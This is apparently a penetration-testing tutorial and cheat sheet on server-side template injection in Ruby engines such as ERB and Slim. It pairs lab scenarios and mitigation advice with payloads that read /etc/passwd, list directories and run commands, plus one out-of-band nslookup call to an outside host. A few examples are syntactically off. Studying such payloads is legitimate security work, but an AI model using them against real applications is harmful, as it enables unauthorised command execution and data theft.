

Server Side Template Injection (SSTI)

Scenario1 : Identify SSTI vulnerability.

You are a **penetration tester** assessing the security of a **Ruby-based web application**. While testing the **user profile customization feature**, you notice that user-controlled input is rendered inside a template without sanitization.

1. Confirm SSTI vulnerability by injecting Ruby expressions.

```
<% = 5 * 5 %>
```

2. Reading System Files

```
<% = File.read('/etc/passwd') %>
```

3. Identify files and directories on the server.

```
<% Dir.entries('/') %>
```

4. Gain **remote command execution** via SSTI.

```
<% `whoami` %>
```

Scenario2 : Web Page displays HTML Code.

Server-Side Template Injection (SSTI) vulnerabilities can be discovered when a web page displays **HTML content** that includes user-controlled input. This often happens when a template engine processes user input incorrectly and renders it in the browser.

Identify the vulnerability

Consider a vulnerable web application where users can create **custom profile pages** with a "bio" section. The backend **renders this bio using a template engine (e.g., Twig, ERB, Jinja2)**.

Intercepted HTTP Request (via Burp Suite)

POST /profile/update HTTP/1.1

Host: vulnerable-site.com

Content-Type: application/json

```
{  
  "username": "Alice",  
  "bio": "Welcome to my profile!"  
}
```

HTML Source Code of the Rendered Web Page

```
<html>  
  
  <head><title>User Profile</title></head>  
  
  <body>  
  
    <h1>Welcome, Alice</h1>  
  
    <p>Bio: Welcome to my profile!</p>  
  
  </body>  
  
</html>
```

1. Inject a Payload for exploiting SSTI vulnerability

```
{  
  
  "username" : "Alice",  
  "bio" : "<% 5 * 5 %>"  
  
}
```

2. What would the expected Output (write the html code)

```
{  
  
  "username": "Alice",  
  "bio" : 25  
  
}
```

3. Exploit RCE Remote Code Execution

```
{  
  
  "username" : "Alice",  
  "bio" : "<%= `whoami` %>"  
  
}
```

4. What would the expected Output (write the html code)

```
<html>

<head><title>User Profile</title></head>

<body>

  <h1>Welcome, Alice</h1>

  <p>Bio: root</p>

</body>

</html>
```

5. Mitigation Strategies

1. Use Safe Template Engines

- Prefer template engines that do not allow direct code execution (e.g., Jinja2 sandbox mode, Twig).
- Disable or restrict execution of functions that allow arbitrary code execution (`eval()`, `exec()`, etc.).

2. Implement Input Validation & Sanitization

- Whitelist allowed template expressions.
- Restrict user input to expected formats (e.g., regex validation).

3. Escape User Input Properly

- Use built-in escaping mechanisms of template engines.
- Avoid mixing user input with template expressions.

4. Use Content Security Policies (CSP)

- Prevent execution of unauthorized scripts by enforcing strict CSP rules.

6. Implement Least Privilege for Execution Environment

- Run applications with minimal privileges to limit impact if an exploit occurs.

Server Side Template Injection – Ruby

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.

Summary

- [Templating Libraries](#)
- [Ruby](#)
 - [Ruby - Basic injections](#)
 - [Ruby - Retrieve /etc/passwd](#)
 - [Ruby - List files and directories](#)
 - [Ruby - Remote Command execution](#)
- [References](#)

Templating Libraries

Template Name	Payload Format
---------------	----------------

Erb	<%= %>
-----	--------

Erubi	<%= %>
-------	--------

Erubis	<%= %>
--------	--------

HAML	#{ }
------	------

Liquid	{{ }}
--------	-------

Mustache	{{ }}
----------	-------

Slim	#{ }
------	------

Ruby

Ruby - Basic injections

ERB:

```
<%= 7 * 7 %>
```

Slim:

```
{ 7 * 7 }
```

Ruby - Retrieve /etc/passwd

```
<%= File.open('/etc/passwd').read %>
```

Ruby - List files and directories

```
<%= Dir.entries('/') %>
```

Ruby - Remote Command execution

Execute code using SSTI for **Erb,Erubi,Erubis** engine.

```
<%=(`nslookup oastify.com`)%>
```

```
<%= system('cat /etc/passwd') %>
```

```
<%= `ls /` %>
```

```
<%= IO.popen('ls /').readlines() %>
```

```
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%=  
@b.readline()%>
```

```
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%=  
@c.readline()%>
```

Execute code using SSTI for **Slim** engine.

```
{ %x|env| }
```

References

- [Ruby ERB Template Injection - Scott White & Geoff Walton - September 13, 2017](#)